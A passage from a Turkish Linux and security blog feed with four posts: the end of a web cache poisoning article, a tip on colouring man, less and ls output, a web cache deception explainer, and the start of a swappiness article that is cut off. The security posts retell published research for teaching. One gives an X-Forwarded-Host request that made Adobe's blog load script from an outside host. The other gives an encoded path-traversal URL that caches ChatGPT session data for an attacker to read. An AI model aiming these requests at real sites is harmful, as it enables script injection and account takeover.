<p>Önbellek zehirlemesi saldırıları genellikle karmaşık ve dikkatle yürütülmesi gereken işlemler olsa da, bazıları o kadar pratiktir ki güvenli bir şekilde gerçekleştirilmeleri neredeyse imkansızdır. İşte Adobe’nin blogunda yaşanan bir örnek vaka:</p>

<p><strong>İstek:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /access-the-power-of-adobe-acrobat?dontpoisoneveryone<span class="o">=</span>1 HTTP/1.1
Host: theblog.adobe.com
X-Forwarded-Host: collaborator-id.psres.net
</code></pre></div></div>

<p>Bu istekten sonra, araştırmacının Burp Collaborator sunucusuna, Adobe’nin web sitesinin her yerinden gelen yoğun bir trafik akışı oluşmuş. İncelendiğinde, Adobe’nin WP Rocket Cache adında entegre bir uygulama düzeyinde önbellek kullandığı ortaya çıkmış. Uygulama düzeyindeki dahili önbellekler, yanıtların parçalarını ayrı ayrı önbelleğe alır ve genellikle bir önbellek anahtarı kavramına sahip değildir.</p>

<p><strong>Sonuç:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.1
Host: theblog.adobe.com
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
X-Cache: HIT - WP Rocket Cache
...
&lt;script <span class="nv">src</span><span class="o">=</span><span class="s2">"https://collaborator-id.psres.net/foo.js"</span>/&gt;
...
&lt;a <span class="nv">href</span><span class="o">=</span><span class="s2">"https://collaborator-id.psres.net/post"</span><span class="o">&gt;</span>…
</code></pre></div></div>

<p>Bu istekle, sitenin ana sayfası dahil her sayfa zehirlenmiş ve her bağlantı araştırmacının alan adıma yönlendirilmiş. Bu durum, sitenin neredeyse tamamen araştırmacının domainine bağımlı hale gelmesine neden olmuş.</p>

<p>Böylelikle önbellek zehirlenmesi konusu pek çok açıdan ele almış olduk. Bu yazı içeriğinin tamamı aşağıdaki kaynaklar sayesinde mümkün olmuştur. Dolayısıyla birincil kaynaklardan daha detaylı bilgi edinmek için göz atın lütfen.</p>

<p>Burada edindiğiniz pratikleri <a href="https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws">lablar</a> üzerinden test ederek öğrenme düzeyinizi de görebilirsiniz.</p>

<h2 id="i̇leri-okuma">İleri Okuma</h2>

<p>Tüm anlatımlar benim anlayışım ile sınırlı olduğu için daha kesin ve detaylı bilgileri edinmek için lütfen kaynakları inceleyin.</p>

<ul>
  <li><a href="https://portswigger.net/research/practical-web-cache-poisoning">Practical Web Cache Poisoning</a></li>
  <li><a href="https://portswigger.net/research/bypassing-web-cache-poisoning-countermeasures">Bypassing Web Cache Poisoning Countermeasures</a></li>
  <li><a href="https://portswigger.net/research/web-cache-entanglement">Web Cache Entanglement</a></li>
  <li><a href="https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole">Next.js and Cache Poisoning: A Quest for the Black Hole</a></li>
  <li><a href="https://zhero-web-sec.github.io/dos-via-cache-poisoning/">DoS via Cache Poisoning</a></li>
</ul>]]></content><author><name>Taylan Özgür Bildik</name></author><category term="blog" /><category term="web" /><category term="güvenlik" /><summary type="html"><![CDATA[Temel Konseptler]]></summary></entry><entry><title type="html">man less ve ls Çıktılarını Renklendirme</title><link href="https://www.linuxdersleri.net/man-less-ls-renklendirme" rel="alternate" type="text/html" title="man less ve ls Çıktılarını Renklendirme" /><published>2024-07-30T00:00:00+00:00</published><updated>2024-07-30T00:00:00+00:00</updated><id>https://www.linuxdersleri.net/man-less-ls-renklendirme</id><content type="html" xml:base="https://www.linuxdersleri.net/man-less-ls-renklendirme"><![CDATA[<p>Eğer <code class="language-plaintext highlighter-rouge">less</code> , <code class="language-plaintext highlighter-rouge">man</code> ve <code class="language-plaintext highlighter-rouge">ls</code> araçlarının çıktılarını renklendirmek istiyorsanız kullanmakta olduğunuz kabuğun konfigürasyon dosyasında <strong>LESS_TERMCAP</strong> değişkenlerini tanımlamanız yeterli. Örneğin renklendirmeden önceki man sayfası aşağıdaki gibi gözüküyor.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/colored-man-less-ls/uncolored.png" alt="uncolored man page" class="responsive img-zoomable" /></p>

<p>Neden <strong>LESS_TERMCAP</strong> isimli bir değişken olduğunu merak ediyorsanız çok kısaca özetleyecek olursak; <code class="language-plaintext highlighter-rouge">less</code> komutu, terminalin özelliklerine erişmek için Termcap kütüphanesini kullanır. Termcap, terminalin yeteneklerini tanımlayan bir veri tabanıdır ve her yetenek iki harfli kodlarla tanımlanır (örneğin, <code class="language-plaintext highlighter-rouge">md</code> kalın yazıyı başlatır). <strong>LESS_TERMCAP</strong> değişkenleri, Termcap kütüphanesindeki bu değerleri kullanıcı tanımlı değerlerle değiştirmeye olanak tanır. Bu yöntem, özellikle <code class="language-plaintext highlighter-rouge">man</code> sayfalarının ve <code class="language-plaintext highlighter-rouge">less</code> çıktılarının daha okunabilir ve estetik hale getirilmesi için kullanışlıdır.</p>

<p>Bu sebeple biz de <code class="language-plaintext highlighter-rouge">less</code> ve <code class="language-plaintext highlighter-rouge">man</code> komutu çıktılarını renklendirmek üzere, kullanmakta olduğumuz kabuğun konfigürasyon  dosyasında aşağıdaki şekilde değişkenleri tanımlayacağız. Aşağıdaki konfigürasyon, ek olarak <code class="language-plaintext highlighter-rouge">ls</code> komutu için de temel dizin renklendirmesi yapmak üzere tanımlama içeriyor.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># ls, less ver man icin renklendirme</span>
<span class="k">if</span> <span class="o">[</span> <span class="nt">-x</span> /usr/bin/dircolors <span class="o">]</span><span class="p">;</span> <span class="k">then
    </span><span class="nb">test</span> <span class="nt">-r</span> ~/.dircolors <span class="o">&amp;&amp;</span> <span class="nb">eval</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">dircolors</span> <span class="nt">-b</span> ~/.dircolors<span class="si">)</span><span class="s2">"</span> <span class="o">||</span> <span class="nb">eval</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">dircolors</span> <span class="nt">-b</span><span class="si">)</span><span class="s2">"</span>
    <span class="nb">export </span><span class="nv">LS_COLORS</span><span class="o">=</span><span class="s2">"</span><span class="nv">$LS_COLORS</span><span class="s2">:ow=30;44:"</span> <span class="c"># fix ls color for folders with 777 permissions</span>
    <span class="nb">export </span><span class="nv">LESS_TERMCAP_mb</span><span class="o">=</span><span class="s1">$'</span><span class="se">\E</span><span class="s1">[1;31m'</span>     <span class="c"># begin blink</span>
    <span class="nb">export </span><span class="nv">LESS_TERMCAP_md</span><span class="o">=</span><span class="s1">$'</span><span class="se">\E</span><span class="s1">[1;36m'</span>     <span class="c"># begin bold</span>
    <span class="nb">export </span><span class="nv">LESS_TERMCAP_me</span><span class="o">=</span><span class="s1">$'</span><span class="se">\E</span><span class="s1">[0m'</span>        <span class="c"># reset bold/blink</span>
    <span class="nb">export </span><span class="nv">LESS_TERMCAP_so</span><span class="o">=</span><span class="s1">$'</span><span class="se">\E</span><span class="s1">[01;33m'</span>    <span class="c"># begin reverse video</span>
    <span class="nb">export </span><span class="nv">LESS_TERMCAP_se</span><span class="o">=</span><span class="s1">$'</span><span class="se">\E</span><span class="s1">[0m'</span>        <span class="c"># reset reverse video</span>
    <span class="nb">export </span><span class="nv">LESS_TERMCAP_us</span><span class="o">=</span><span class="s1">$'</span><span class="se">\E</span><span class="s1">[1;32m'</span>     <span class="c"># begin underline</span>
    <span class="nb">export </span><span class="nv">LESS_TERMCAP_ue</span><span class="o">=</span><span class="s1">$'</span><span class="se">\E</span><span class="s1">[0m'</span>        <span class="c"># reset underline</span>
<span class="k">fi</span>
</code></pre></div></div>

<p>Ben kendi hesabımda <strong>bash</strong> kabuğunu kullandığım için kendi ev dizinimdeki <strong><em>~/.bashrc</em></strong> dosyasına yukarıdaki konfigürasyon ekleyip dosyamı kaydediyorum.</p>

<p>Daha sonra <code class="language-plaintext highlighter-rouge">source ~/.bashrc</code> komutu ile, ilgili değişiklikleringeçerli olmasını sağlamamız yeterli. Bu işlemlerin ardından açılan her yeni konsol üzerinde artık <code class="language-plaintext highlighter-rouge">man</code>, <code class="language-plaintext highlighter-rouge">less</code> ve <code class="language-plaintext highlighter-rouge">ls</code> aracının çıktıları renklendiriliyor olacak.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/colored-man-less-ls/colored.png" alt="colored man page" class="responsive img-zoomable" /></p>]]></content><author><name>Taylan Özgür Bildik</name></author><category term="blog" /><category term="terminal" /><category term="man" /><category term="ls" /><category term="less" /><summary type="html"><![CDATA[Eğer less , man ve ls araçlarının çıktılarını renklendirmek istiyorsanız kullanmakta olduğunuz kabuğun konfigürasyon dosyasında LESS_TERMCAP değişkenlerini tanımlamanız yeterli. Örneğin renklendirmeden önceki man sayfası aşağıdaki gibi gözüküyor.]]></summary></entry><entry><title type="html">Web Cache Deception Zafiyeti ve Sömürülmesi</title><link href="https://www.linuxdersleri.net/web-cache-deception" rel="alternate" type="text/html" title="Web Cache Deception Zafiyeti ve Sömürülmesi" /><published>2024-07-23T00:00:00+00:00</published><updated>2024-07-23T00:00:00+00:00</updated><id>https://www.linuxdersleri.net/web-cache-deception</id><content type="html" xml:base="https://www.linuxdersleri.net/web-cache-deception"><![CDATA[<h1 id="girizgah--nedir---neden-oluşur-">Girizgah | Nedir - Neden Oluşur ?</h1>

<p>Günümüzde pek çok websitesi verimlilik için bazı statik dosyaların önbellekte(CDN, load balancer veya reverse proxy vb..) bulunmasını sağlıyor.</p>

<p>Örneğin <a href="http://linuxdersleri.net">linuxdersleri.net</a> adresinin reverse proxy sayesinde önbellek tuttuğunu düşünelim. Kullanıcılar <a href="http://linuxdersleri.net/hesap">linuxdersleri.net/hesap</a> sayfasını ziyaret ettiklerinde, mevcut kullanıcıya ait hesap bilgilerinin dinamik web sunucusu tarafında üretilip kullanıcıya sunuluyor olsun. Bu durumda tabii ki bu içerik dinamik olarak her kullanıcıya özel olacağı için önbellekte tutulmayacaktır.</p>

<p>Önbellekte tutulan veriler statik yani değişmeyen ve hassas bilgi bulundurmayan türdeki dosyalar olacaktır. Örneğin aşağıdaki türde dosyalar genellikle statik olarak kabul edilip önbellekte tutulurlar.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">aif</span><span class="p">,</span> <span class="nx">aiff</span><span class="p">,</span> <span class="nx">au</span><span class="p">,</span> <span class="nx">avi</span><span class="p">,</span> <span class="nx">bin</span><span class="p">,</span> <span class="nx">bmp</span><span class="p">,</span> <span class="nx">cab</span><span class="p">,</span> <span class="nx">carb</span><span class="p">,</span> <span class="nx">cct</span><span class="p">,</span> <span class="nx">cdf</span><span class="p">,</span> <span class="kd">class</span><span class="p">,</span> <span class="nx">css</span><span class="p">,</span> <span class="nx">doc</span><span class="p">,</span> <span class="nx">dcr</span><span class="p">,</span> <span class="nx">dtd</span><span class="p">,</span> <span class="nx">gcf</span><span class="p">,</span> <span class="nx">gff</span><span class="p">,</span> <span class="nx">gif</span><span class="p">,</span> <span class="nx">grv</span><span class="p">,</span> <span class="nx">hdml</span><span class="p">,</span> <span class="nx">hqx</span><span class="p">,</span> <span class="nx">ico</span><span class="p">,</span> <span class="nx">ini</span><span class="p">,</span> <span class="nx">jpeg</span><span class="p">,</span> <span class="nx">jpg</span><span class="p">,</span> <span class="nx">js</span><span class="p">,</span> <span class="nx">mov</span><span class="p">,</span> <span class="nx">mp3</span><span class="p">,</span> <span class="nx">nc</span><span class="p">,</span> <span class="nx">pct</span><span class="p">,</span> <span class="nx">ppc</span><span class="p">,</span> <span class="nx">pws</span><span class="p">,</span> <span class="nx">swa</span><span class="p">,</span> <span class="nx">swf</span><span class="p">,</span> <span class="nx">txt</span><span class="p">,</span> <span class="nx">vbs</span><span class="p">,</span> <span class="nx">w32</span><span class="p">,</span> <span class="nx">wav</span><span class="p">,</span> <span class="nx">wbmp</span><span class="p">,</span> <span class="nx">wml</span><span class="p">,</span> <span class="nx">wmlc</span><span class="p">,</span> <span class="nx">wmls</span><span class="p">,</span> <span class="nx">wmlsc</span><span class="p">,</span> <span class="nx">xsd</span><span class="p">,</span> <span class="nx">zip</span>
</code></pre></div></div>

<p>Yani örneğin <a href="http://linuxdersleri.net/tasarım.css">linuxdersleri.net/tasarım.css</a> adresindeki .css dosyası statik içeriğe sahip olduğu için önbelleğe alınabilir. Ayrıca var olmayan bir dizin adresine gidildiğinde otomatik olarak var olan bir üst dizindeki adresin içeriğini getiriyor olsun.</p>

<p>Örneğin ben <a href="http://linuxdersleri.net/hesap/olmayan.css">linuxdersleri.net/hesap/olmayan.css</a> adresine gittiğimde, <a href="http://linuxdersleri.net/heasp">linuxdersleri.net/hesap</a> adresindeki içerik sunulacaktır. Aynı zamanda bu adres .css uzantısı ile bittiği için bu döndürülen içerik tam olarak bu adreste önbelleğe alınacaktır. Çünkü;</p>

<p><strong>1-</strong> Kullanıcı tarayıcı üzerinden <a href="http://linuxdersleri.net/hesap/olmayan.css">linuxdersleri.net/hesap/olmayan.css</a> adresini ziyaret eder.</p>

<p><strong>2-</strong> Client ile server arasında CDN proxy bulunduğu için bu <code class="language-plaintext highlighter-rouge">GET</code> isteği öncelikle proxy’e iletilir. Proxy, tanımlanmış olan cache konfigürasyonları dolayısıyla <strong><em>.css</em></strong> uzantılı bağlantıları önbellekte tutacağı için, sunucunun yanıtını önbellekte tutmak üzere bekler.</p>

<p><strong>3-</strong> Web sunucusu böyle bir adres olmadığı için <a href="http://linuxdersleri.net/hesap/olmayan.css">linuxdersleri.net/hesap</a> adresinin içeriğini döndürür. Ayrıca bu aşamada bu sayfanın aslında önbelleğe <strong>alınmaması</strong> talimatını veren HTTP başlıkları(örneğin:<code class="language-plaintext highlighter-rouge">cache-control: no-cache</code>) da sunucu tarafından HTTP yanıtında iletilir.</p>

<p><strong>4-</strong> Sunucunun yanıtı öncelikle aradaki proxy’e iletilir.</p>

<p><strong>5-</strong> Proxy, adresin sonunda “<strong><em>.css</em></strong>” uzantısı olduğu için kendi konfigürasyonları gereği bu yanıtın önbelleğe alınmasını sağlar. Bu aşamada HTTP yanıtında yer alan önbelleğe alınmaması belirtilen başlıklar görmezden gelinir.(Her zaman öyle olur demiyorum, yalnızca bu hatalı konfigürasyonda böyler olur)</p>

<p><strong>6-</strong> Böylelikle aslında <a href="http://linuxdersleri.net/hesap">linuxdersleri.net/hesap</a> adresinde kullanıcıya özel olarak üretilmiş olan veriler, <a href="http://linuxdersleri.net/hesap/olmayan.css">linuxdersleri.net/hesap/olmayan.css</a> adresi adresinde önbellek olarak saklanmış olur. Bu adresi ziyaret eden herkes önbelleğe alınan kullanıcı hesap bilgilerine erişebilir.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-deception/web_cache_deception.png" alt="web-cache-deception" class="responsive img-zoomable" /></p>

<p>Tabii ki bu zafiyetin yaşanması için aşağıdaki koşulların sağlanması gerekir.</p>

<p><strong>1-</strong> Önbelleğe alan mekanizmanın, yanıtta bulunan HTTP önbellek başlıklarını(<code class="language-plaintext highlighter-rouge">Cache-Control</code>, <code class="language-plaintext highlighter-rouge">expires</code>, <code class="language-plaintext highlighter-rouge">etag</code>, <code class="language-plaintext highlighter-rouge">Last-Modified</code> vb..) dikkate almıyor olması gerekir.</p>

<p><strong>2-</strong> Önbelleğe alınan verinin türüne bakılmaksızın önbelleğe alınmalı.</p>

<p><strong>3-</strong> Web sunucusunun hatalı bağlantılara yanıt olarak geçerli ve kritik bilgi(csrf token, api key veya kişisel veri vb..) barındıran sayfaların içeriğini döndürmesi gerekir.</p>

<p>Bu durumu çözmek için de:</p>

<p><strong>1-</strong> Önbellekleme yapan mekanizma üzerinde; yalnızca URL uzantısında yer alan <strong><em>.css</em></strong> vb eklere değil, sunucu tarafından gelen HTTP yanıtında yer alan cache header(<code class="language-plaintext highlighter-rouge">Cache-Control</code>, <code class="language-plaintext highlighter-rouge">expires</code>, <code class="language-plaintext highlighter-rouge">etag</code>, <code class="language-plaintext highlighter-rouge">Last-Modified</code> vb..) yani önbellek başlıklarını dikkate alacak şekilde konfigürasyon yapılmalı.</p>

<p><strong>2-</strong> Önbelleğe alınan veri içeriğinin gerçekten <strong><em>.css</em></strong> veya örneğin <strong><em>.png</em></strong> dosyası olup olmadığı kontrol edilebilir.</p>

<p><strong>3-</strong> Web sunucusunun <a href="http://linuxdersleri.net/hesap/olmayan.css">linuxdersleri.net/hesap/olmayan.css</a> gibi sayfalar için bir önceki adres olan <strong>/hesap</strong> içeriğini döndürmeyecek şekilde yapılandırılabilir. Bu gibi durumlarda 404 veya 302 ile standart zararsız yanıtların gönderilmesi gerekir.</p>

<p>Ortaya çıkması için gereken birden fazla hatalı konfigürasyonun olması gerektiği için, bu tür bir zafiyetin yaygın olduğunu söylemek doğru olmayabilir. Yine de anlatılanları pekiştirmek üzere somut bir örnek üzerinden gitmek için <a href="https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html" target="_blank">buradaki</a> writeup’ı kısaca ele alabiliriz.</p>

<h1 id="chatgpt-account-takeover">ChatGPT Account Takeover</h1>

<p>Araştırmacı ChatGPT üzerinde bulunan “paylaşım” özelliği sayesinde mevcut mesajların URL üzerinden herkese açık şekilde paylaşılabildiğini ve bu URL adresinin önbelleğe kaydedildiğini(<code class="language-plaintext highlighter-rouge">Cf-Cache-Status: HIT</code> başlığı sayesinde) fark etmiş.</p>

<p>Aşağıdaki URL statik bir içerik uzantısına(.css .png .js vb..) sahip olmamasına rağmen önbelleğe alındığını, sunucu yanıtındaki <code class="language-plaintext highlighter-rouge">CF-Cache-Status: HIT</code> başlığından teyit etmiş.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">https</span><span class="p">:</span><span class="c1">//chat.openai.com/share/CHAT-UUID</span>
</code></pre></div></div>

<p>Bu, muhtemelen dosyanın uzantısına değil, URL’nin yolundaki konumuna bağlı olan bir önbellek kuralının bulunduğu anlamına geliyor. Bu varsayımı test etmek için <strong><em>https://chat.openai.com/share/random-path-that-does-not-exist</em></strong> adresini kontrol etmiş ve beklendiği gibi bu adresin de önbelleğe alındığını görmüş.</p>

<p>Dolayısıyla önbelleğe alma kuralının <strong>/share/</strong>* gibi bir URL yolu kuralına bağlı olduğunu teyit etmiş. Bu dizin altında riskli bir veri barındıran nokta olmadığı için, bu dizin adresini manipüle ederek risk teşkil edecek dizinlerin önbelleğe alınmasını sağlamak üzere “path traversal” kullanmış.</p>

<h2 id="path-traversal-confusion">Path Traversal Confusion</h2>

<p>Önbellek mekanizmasını kullan websiteleri, önbellekleme işi için genellikle CDN hizmetlerinden faydalanır.</p>

<p>ChatGPT’nin de CDN olarak Cloudflare kullanıldığını HTTP yanıt mesajındaki <code class="language-plaintext highlighter-rouge">Cf-Cache-Status</code> başlığı sayesinde zaten biliyoruz. Bu durumda girilen URL adresi hem CDN hem de web sunucusu tarafında işleniyor. Dolayısıyla URL ayrıştırılması noktasında karışıklığa sebep olmak mümkün olabilir.</p>

<p>Test sırasında URL encode edilmiş <code class="language-plaintext highlighter-rouge">/</code> karakteri yani <code class="language-plaintext highlighter-rouge">%2F</code> karakterinin CDN tarafında decode edilmezken web sunucusu tarafında decode edildiğini fark etmiş araştırmacı. Dolayısıyla kritik öneme sahip api anahtarına giden yolun url encode şekilde sunucuya iletilerek önbelleğe alınmasını sağlamak mümkün olmuş. Çünkü CDN bu URL adresini aldığında path traversal gereği ilgili dizine geçiş yapmak yerine doğrudan bu URL adresini olduğu şekilde önbelleğe alarak muhafaze etmiş ve ChatGPT web sunucusuna aktarmış. Sunucu da bu URL adresini çözümleyip path traversal gereği ilgili api noktasındaki bilgileri getirip CDN önbelleğine bu yanıtın kaydedilmesini sağlamış.</p>

<p>Örneğin aşağıdaki url adresinde <code class="language-plaintext highlighter-rouge">/</code> karakteri URL encode şekilde yazıldığında:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">https</span><span class="p">:</span><span class="c1">//chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123</span>
</code></pre></div></div>

<ul>
  <li>CDN <strong>/share/</strong> dizini altındaki her şeyi önbelleğe aldığını biliyoruz</li>
  <li>CDN’in <code class="language-plaintext highlighter-rouge">%2F..%2F</code> karakterlerini decode etmediğini dolayısıyla URL adresi değiştirilmeden bu şekilde önbelleğe alınacağını biliyoruz. Eğer URL decode CDN tarafında yapılıyor olsa bu URL adresi <code class="language-plaintext highlighter-rouge">/api/auth/session?cachebuster=123</code> halini alacağı için zaten hiç önbelleğe de alınmayacaktı.</li>
  <li>Web sunucusuna CDN tarafından iletilen bu <code class="language-plaintext highlighter-rouge">/share/%2F..%2Fapi/auth/session?cachebuster=123</code> adresi decode edilip, <code class="language-plaintext highlighter-rouge">/auth/session?cachebuster=123</code> olarak ele alınacak.</li>
</ul>

<p>Dolayısıyla <strong><em>https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123</em></strong> adresini ziyaret eden kullanıcının api bilgisi önbelleğe kaydedilecek. Daha sonra aynı URL adresini ziyaret eden saldırgan bu önbellek yanıtı sayesinde CDN üzerinden döndürülen yanıtla api bilgisini elde etmiş olacak.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/web-cache-deception/ChatGPT_Attack.svg" alt="Chat-GPT-Attack" class="responsive img-zoomable" />
<a href="https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html" target="_blank">Resim kaynağı</a></p>

<p>Neticede kısaca ele aldığımız gibi “Web Cache Deception” eğer şartlar müsaitse fevkalade tehlikeli bir zafiyet.</p>

<h1 id="i̇leri-okuma">İleri Okuma</h1>

<ul>
  <li><a href="https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html" target="_blank">web-cache-deception-attack</a></li>
  <li><a href="https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html" target="_blank">ChatGPT-ATO</a></li>
</ul>]]></content><author><name>Taylan Özgür Bildik</name></author><category term="blog" /><category term="web" /><category term="güvenlik" /><category term="cache" /><summary type="html"><![CDATA[Girizgah | Nedir - Neden Oluşur ?]]></summary></entry><entry><title type="html">Swappiness Değerini Ayarlamanın Performans Üzerindeki Olası Etkileri</title><link href="https://www.linuxdersleri.net/linux-swappiness" rel="alternate" type="text/html" title="Swappiness Değerini Ayarlamanın Performans Üzerindeki Olası Etkileri" /><published>2024-06-15T00:00:00+00:00</published><updated>2024-06-15T00:00:00+00:00</updated><id>https://www.linuxdersleri.net/linux-swappiness</id><content type="html" xml:base="https://www.linuxdersleri.net/linux-swappiness"><![CDATA[<h1 id="swappiness-nasıl-düzenlenir-">Swappiness Nasıl Düzenlenir ?</h1>

<p>Swappiness, sistemin swap alanını ne sıklıkla kullanacağını tanımlayan bir Linux çekirdek özelliğidir. Swappiness değeri 0 ile 100 arasında tanımlanabiliyor. Düşük bir değer, çekirdeğin swap kullanmaktan kaçınmaya çalışmasını sağlarken, yüksek bir değer çekirdeğin swap alanını daha agresif bir şekilde kullanmasını sağlıyor.</p>

<p>Varsayılan swappiness değeri 60’tır. Fakat sistem performansının ön planda olduğu durumlarda bu değeri düşürerek, disk yerine öncelikli olarak ram kullanımı öncelenebiliyor. Fakat swap kullanımının performans üzerindeki etkisi aslında her zaman bu kadar basit olmayabiliyor. Öncelikle bu değeri nasıl öğrenip değiştirebileceğimizden bahsedelim, daha sonra bu değerin hangi aralıkta olması gerektiğini sebepleriyle birlikte biraz daha detaylı inceleme gayretinde olacağız.</p>

<p>İlk olarak mevcut swappiness değerini kontrol edelim.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">┌──</span><span class="p">(</span><span class="nx">taylan</span><span class="err">㉿</span><span class="nx">linuxdersleri</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="o">~</span><span class="p">]</span>
<span class="err">└─</span><span class="nx">$</span> <span class="nx">cat</span> <span class="o">/</span><span class="nx">proc</span><span class="o">/</span><span class="nx">sys</span><span class="o">/</span><span class="nx">vm</span><span class="o">/</span><span class="nx">swappiness</span> 
<span class="mi">60</span>
</code></pre></div></div>

<p>Gördüğünüz gibi varsayılan değer “60” olarak gözüküyor. 60 swappiness değeri çoğu Linux sistemi için uygun olsa da, performansın ön planda olması gereken sunucularda daha düşük bir değer ayarlamanız gerekebiliyor.</p>

<p>Değişim için sistem çalışırken kernel yani çekirdek özelliklerini düzenlemeye imkan tanıyan <code class="language-plaintext highlighter-rouge">sysctl</code> aracını kullanabiliyoruz.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">┌──</span><span class="p">(</span><span class="nx">taylan</span><span class="err">㉿</span><span class="nx">linuxdersleri</span><span class="p">)</span><span class="o">-</span><span class="p">[</span><span class="o">~</span><span class="p">]</span>
<span class="err">└─</span><span class="nx">$</span> <span class="nx">sudo</span> <span class="nx">sysctl</span> <span class="nx">vm</span><span class="p">.</span><span class="nx">swappiness</span><span class="o">=</span><span class="mi">10</span>
<span class="p">[</span><span class="nx">sudo</span><span class="p">]</span> <span class="nx">password</span> <span class="k">for</span> <span class="nx">taylan</span><span class="p">:</span> 
<span class="nx">vm</span><span class="p">.</span><span class="nx">swappiness</span> <span class="o">=</span> <span class="mi">10</span>
</code></pre></div></div>

<p>Bu değişiklik halihazırda çalışmakta olan çekirdek üzerinde geçerli oldu lakin sistem başlangıcında kalıcı olması için <strong><em>/etc/sysctl.conf</em></strong> dosyasına da eklememiz gerek. <code class="language-plaintext highlighter-rouge">nano</code> veya <code class="language-plaintext highlighter-rouge">vim</code> gibi bir editor ile dosyayı <code class="language-plaintext highlighter-rouge">sudo</code> yetkileri ile açıp aşağıdaki satırı ekleyip kaydetmeniz yeterli.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">vm</span><span class="p">.</span><span class="nx">swappiness</span><span class="o">=</span><span class="mi">10</span>
</code></pre></div></div>

<p>Böylelikle her sistem başlangıcında bu değer çekirdek tarafından tanınıyor olacak. Elbette ben örnek olarak 10 değerini tanımladım ancak sizin sisteminiz için optimum olan değeri deneme yanılma ve gözlem ile kendiniz bulmanız gerek. Fakat bundan önce bu değer ile gerçekten oynamaya ihtiyacınız olup olmadığı üzerinde durmak istiyorum. Bu sayede daha bilinçli kararlar alabiliriz.</p>

<h1 id="swappinessi-değiştirelim-ama-ne-zaman-">Swappiness’i Değiştirelim Ama Ne Zaman ?</h1>

<p>Çoğunlukla, swap kullanmanın kötü olduğu ve swappiness değerini düşürmezseniz sistemin gereksiz yere swap yapacağı varsayılır. Ancak, bu tam olarak doğru değil.</p>

<p>İnsanlar hatalı şekilde, swap kullanımı ile sistemin yavaşladığı zamanları birbiriyle ilişkilendiriyor. Dolayısıyla swap kullanmanın sistemin yavaşlattığını sanabiliyorlar. Oysa genellikle swap kullanılmasının nedeni, sistemin zaten yavaşlamış ve RAM üzerinde yeterince alan kalmamış olmasından gelir, tersi değil. Sistem, swap yapmanın performans maliyetini hesaplar ve bunu yapmamanın genel sistem performansı veya kararlılığı açısından daha büyük bir olumsuzluğa sebep olacağına karar verdiğinde swap alanını kullanır.</p>

<p>Genel olarak, varsayılan ayarlar yani “60” değeri çoğu sistem için iyi bir performans ve kararlılık sağlar. İstisnai durumlar hariç varsayılan ayarda bırakmanız bu sebeple tavsiye edilir. İlk ve en kolay akla gelen yöntem swapiness değişimi olsa da esasen Linux’un bellek yönetimini bazı uç durumlar için iyileştirmek için daha fazla yol olabilir. Swappiness ayarı ile bir sorunu çözebilirsiniz, ancak başka sorunlar(ansızın sonlandırılan süreçler ve dolayısıyla kararsız bir sistem) yaratmanız da fevkalade olası. Mümkünse, performans gerektiren sistem için daha fazla fiziksel RAM eklemesi(ve swappiness’i olduğu gibi bırakmak) diğer tüm çözümleri gölgede bırakır.</p>

<p>Neden böyle olduğunu daha net anlamak adına birkaç konudan daha kısaca bahsedelim.</p>

<h2 id="linuxun-ram-kullanımı">Linux’un RAM Kullanımı</h2>

<p>Uygulamalar tarafından kullanılmayan her RAM “önbellek” olarak kullanılabilir. Önbellek, hızlı ve sorunsuz çalışan bir sistem için önemlidir, disk okuma ve yazma işlemlerini hızlandırır. Ancak RAM’in sürekli işgal edilmesi ve sınırda kullanımı, standart kullanıcıları performans konusunda kaygılandırabiliyor. Fakat bu kaygının aksine, bu yaklaşım performans için mevcut.</p>

<p>Zaten sistem tasarımı gereği, uygulamalar bellek kullanımını artırarak neredeyse tüm RAM’inizi kullanma noktasına geldiğinde, önbelleğiniz küçülür ve ortalama olarak disk işlemleri de yavaşlar. Dolayısıyla günümüzde sadece onlarca megabayt veya daha az önbellek çoğu durumda yeterli değildir. Bu sebeple sistem boştayken veya yük altında değilken dahi fazla ram kullanıldığına şahit olabilirsiniz. Önbellek israf değil performanstır :)</p>

<p>Uygulamalar bellek kullanımını daha da artırırsa - ve swap alanınız yoksa - öncelikle önbellek kullanımından vazgeçilir, sonunda yine de bellek alanı yeterli gelmezse sisteminiz son çare olarak çalışan işlemleri(process) öldürmek zorunda kalır. Tahmin edebileceğini gibi işlemleri öldürmek, yavaşlamadan daha kötüdür çünkü bu size kararsız, öngörülemez bir sistem verir.</p>

<h2 id="linuxun-swap-kullanımı">Linux’un Swap Kullanımı</h2>

